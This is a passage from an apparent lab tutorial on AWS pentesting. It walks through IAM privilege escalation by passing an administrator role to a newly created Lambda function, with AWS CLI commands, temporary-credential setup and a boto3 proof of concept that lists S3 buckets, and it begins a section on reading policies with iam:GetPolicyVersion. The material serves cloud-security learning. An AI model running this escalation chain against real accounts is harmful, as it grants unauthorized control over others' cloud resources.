role.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Prerequisite: you have one of the following permissions&lt;/strong&gt;&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you attach an IAM role to Lambda / EC2 &lt;strong&gt;(prerequisite permission; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:CreateFunction&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you create a new Lambda function &lt;strong&gt;(assign the privileged role when creating it; choose one of these two)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:UpdateFunctionConfiguration&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you change the IAM role of an existing Lambda function &lt;strong&gt;(choose one of these two)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:InvokeFunction&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you invoke Lambda &lt;strong&gt;(if you changed the Lambda code, you also need to be able to call it; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:ListFunctions&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you list existing Lambda functions &lt;strong&gt;(if you want to modify one, you first need to be able to see it; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:RunInstances&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you create a new EC2 instance &lt;strong&gt;(assign the privileged role when creating it)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:ModifyInstanceAttribute&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you change the IAM role of an existing EC2 instance&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:StartInstances&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you start a stopped EC2 instance (if it already has a privileged role)&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;Let me explain this part. When you create a role, you can choose a service such as Lambda or EC2. The &lt;code&gt;EC2S3AccessRole&lt;/code&gt; we used earlier was created by choosing EC2, so it is a role with full EC2 permissions. EC2 was already selected when the role was created. If &lt;code&gt;iam:PassRole&lt;/code&gt; is then attached, this part of the exploit becomes possible. That is the basic idea. Of course, this is only one scenario; the point is simply to understand the concept. In practice, you still need the permissions listed above—for example, &lt;code&gt;iam:PassRole&lt;/code&gt; plus the four Lambda permissions, or &lt;code&gt;iam:PassRole&lt;/code&gt; plus the three EC2 permissions. Either combination can work.&lt;/p&gt;&#10;&lt;p&gt;The main flow is to list all Lambda functions (&lt;code&gt;lambda:ListFunctions&lt;/code&gt;), create or reconfigure a Lambda function (&lt;code&gt;lambda:CreateFunction&lt;/code&gt;/&lt;code&gt;lambda:UpdateFunctionConfiguration&lt;/code&gt;), use &lt;code&gt;iam:PassRole&lt;/code&gt; to attach the privileged role, supply the Lambda code—which can usually be prepared as part of creation—and then run it (&lt;code&gt;lambda:InvokeFunction&lt;/code&gt;) to complete the attack.&lt;/p&gt;&#10;&lt;h4 id="lab-setup-1"&gt;&lt;a href="#lab-setup-1" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;We need a privileged role that trusts the Lambda service. I will target this role shortly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s verify that this account is usable and talk a little about how Lambda works. Lambda requires a role to be attached. If no suitable role exists when you create a Lambda function, AWS will automatically generate one for you. The role we just created is suitable: first, it trusts the Lambda service; second, it has the &lt;code&gt;administratoraccess&lt;/code&gt; permission, which includes all Lambda permissions.&lt;/p&gt;&#10;&lt;p&gt;How do we verify that? Go to Lambda, create a function, and choose an existing role. Only suitable roles will appear here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second one is the role we created. So where did the first one come from? When I was learning the basics in the AWS fundamentals section and did not understand this yet, I chose the option above to create a new role with basic Lambda permissions, and AWS created it automatically. We can inspect the role to see which permissions it has: &lt;code&gt;MyFirstFunction-role-ox8lckqa&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, it only trusts the Lambda service. It also has a custom policy, mainly for Amazon CloudWatch Logs permissions.&#10;That matches the description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The role we want to escalate to is ready. We also need either an &lt;strong&gt;account with Lambda permissions / a role we can access&lt;/strong&gt;. Either one works. Add the crucial &lt;strong&gt;iam:PassRole&lt;/strong&gt; permission, and the low-privileged user / role is configured.&lt;/p&gt;&#10;&lt;p&gt;You can think through the considerations here yourself, including which option is more convenient. Doing so helps deepen your understanding of these services and makes the architecture and underlying mechanism clearer. For this demonstration, and to revisit what we learned earlier, I will choose &lt;strong&gt;a role we can access&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create it, then grant the key permission, &lt;code&gt;iam:PassRole&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completes the setup. Let&amp;rsquo;s organize the current idea.&#10;We have a privileged role that trusts Lambda, plus a low-privileged role under our control that only has Lambda and &lt;code&gt;iam:PassRole&lt;/code&gt; permissions. The low-privileged role can use its Lambda permissions to create a function, while &lt;code&gt;iam:PassRole&lt;/code&gt; lets us designate the privileged role as that function&amp;rsquo;s execution role. Once we assign the privileged role that trusts Lambda as the execution role of our function, any Lambda code we upload runs as that privileged role. That is the whole principle.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-1"&gt;&lt;a href="#reproduction-and-verification-1" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;Remember the &lt;code&gt;EC2S3AccessRole&lt;/code&gt; account? It has permission to switch roles. We could also use the account with &lt;code&gt;administratoraccess&lt;/code&gt; permissions that we created earlier; either is fine. What matters here is that we control an account with Lambda permissions and that the account also has the &lt;code&gt;iam:PassRole&lt;/code&gt; permission.&lt;/p&gt;&#10;&lt;p&gt;Find the ARN of the newly created low-privileged role, &lt;code&gt;LambdaTest&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. I am still using the credential import method from the previous section because it is simpler. The other methods are a little more troublesome, so I will skip them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_access_key_id &lt;span class="s2"&gt;&amp;#34;ASIAxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_secret_access_key &lt;span class="s2"&gt;&amp;#34;xxxxxxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_session_token &lt;span class="s2"&gt;&amp;#34;xxxxxxxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; region &lt;span class="s2"&gt;&amp;#34;us-east-2&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once these are set, the commands can run anywhere as long as AwsCli is available.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command works. The result is empty because I deleted all the Lambda functions. (The boto3 library used by Lambda functions is something I definitely need to learn. I am fairly comfortable with python, so I will dedicate a separate section to boto3 later.) Just follow the upload steps from the fundamentals section.&lt;/p&gt;&#10;&lt;p&gt;Build the python POC code.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler&lt;span class="o"&gt;(&lt;/span&gt;event, context&lt;span class="o"&gt;)&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; boto3.client&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s3&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; client.list_buckets&lt;span class="o"&gt;()&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; bucket in response&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Buckets&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; bucket&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;CreationDate&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; bucket&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;CreationDate&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;.isoformat&lt;span class="o"&gt;()&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;statusCode&amp;#39;&lt;/span&gt;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;: json.dumps&lt;span class="o"&gt;(&lt;/span&gt;response&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Compress the code. Any method is fine as long as it produces the archive.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Create the function.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name testLambda &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.9 &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler lambda_function.lambda_handler &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; --handler lambda_function.lambda_handler --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was a small detour here. Yesterday, I tried for a long time and kept failing (it worked today), with an error claiming something was wrong with the token. While asking GPT, I analyzed it myself too. The explanation that best matched my situation was that old temporary STS credentials were still being used. If your AWS CLI previously used expired or underprivileged temporary STS credentials, the CLI will keep using the old Token even after you change the IAM role&amp;rsquo;s permissions in the AWS console, causing permission problems. I used many temporary STS credentials during testing. After noticing the problem, I granted the permissions again, but I kept getting the following error.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Today, the configured token—which was valid for one hour—had probably expired and been discarded. Everything returned to normal after I generated a new key and token. GPT also suggested the following fix, which I did not use yesterday.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can give it a try. In any case, it worked today, and the upload succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. We can test it in the web interface to see whether it runs, while also using AWSCLI to verify whether it can access S3.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke --function-name testLambda --payload &lt;span class="s2"&gt;&amp;#34;{\&amp;#34;key1\&amp;#34;: \&amp;#34;value1\&amp;#34;, \&amp;#34;key2\&amp;#34;: \&amp;#34;value2\&amp;#34;}&amp;#34;&lt;/span&gt; response.json --cli-binary-format raw-in-base64-out&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. It did indeed enumerate the resources, completing the attack chain.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-1"&gt;&lt;a href="#additional-notes-1" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;The key exploitation chain should be clear now, but there is one more especially important point: Lambda functions support multiple languages.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If you are comfortable with one of these languages, you will notice that it imports a library when you inspect it. python, for example, has the boto3 library. Obviously, accessing resources is generally done through calls made with boto3. The code above can only access S3 and does nothing else, so I will eventually need to learn how to write Lambda code—in other words, learn the boto3 library. That topic needs a separate section of its own later. For now, this reproduction is complete, so I will stop here.&lt;/p&gt;&#10;&lt;h3 id="reading-policies-with-iamgetpolicyversion"&gt;&lt;a href="#reading-policies-with-iamgetpolicyversion" class="header-anchor"&gt;&lt;/a&gt;Reading Policies with iam:GetPolicyVersion&#10;&lt;/h3&gt;&lt;h4 id="theory-2"&gt;&lt;a href="#theory-2" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;If you can call&lt;/strong&gt; &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt;, you can inspect every permission in a policy and may uncover highly privileged policies that can be abused. The previous two techniques both involved abusable high-privilege policies; here, the main point is simply to read those policies and inspect them. What matters is knowing how to analyze and retrieve them. The logic here may be a little questionable. The idea is that you find a policy attached to a role, and that role is under your control. (I tested this as a user and couldn&amp;rsquo;t query it.)&lt;/p&gt;&#10;&lt;h4 id="lab-setup-2"&gt;&lt;a href="#lab-setup-2" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;You can reuse the environments from the previous two sections. As for the &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; permission we need, you can try creating it yourself. The main permissions required are these:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam list-policies &lt;span class="o"&gt;(&lt;/span&gt;list all managed policies in the account&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam get-policy &lt;span class="o"&gt;(&lt;/span&gt;query the default version of a policy&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam GetPolicyVersion &lt;span class="o"&gt;(&lt;/span&gt;most important&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; the policy details&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ll just test this directly with an administrator account.&lt;/p&gt;&#10;&lt;h5 id="listing-all-managed-policies-in-the-account"&gt;&lt;a href="#listing-all-managed-policies-in-the-account" class="header-anchor"&gt;&lt;/a&gt;Listing All Managed Policies in the Account&#10;&lt;/h5&gt;&lt;p&gt;Goal: Find every &lt;code&gt;Managed Policy&lt;/code&gt; in the AWS account.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td 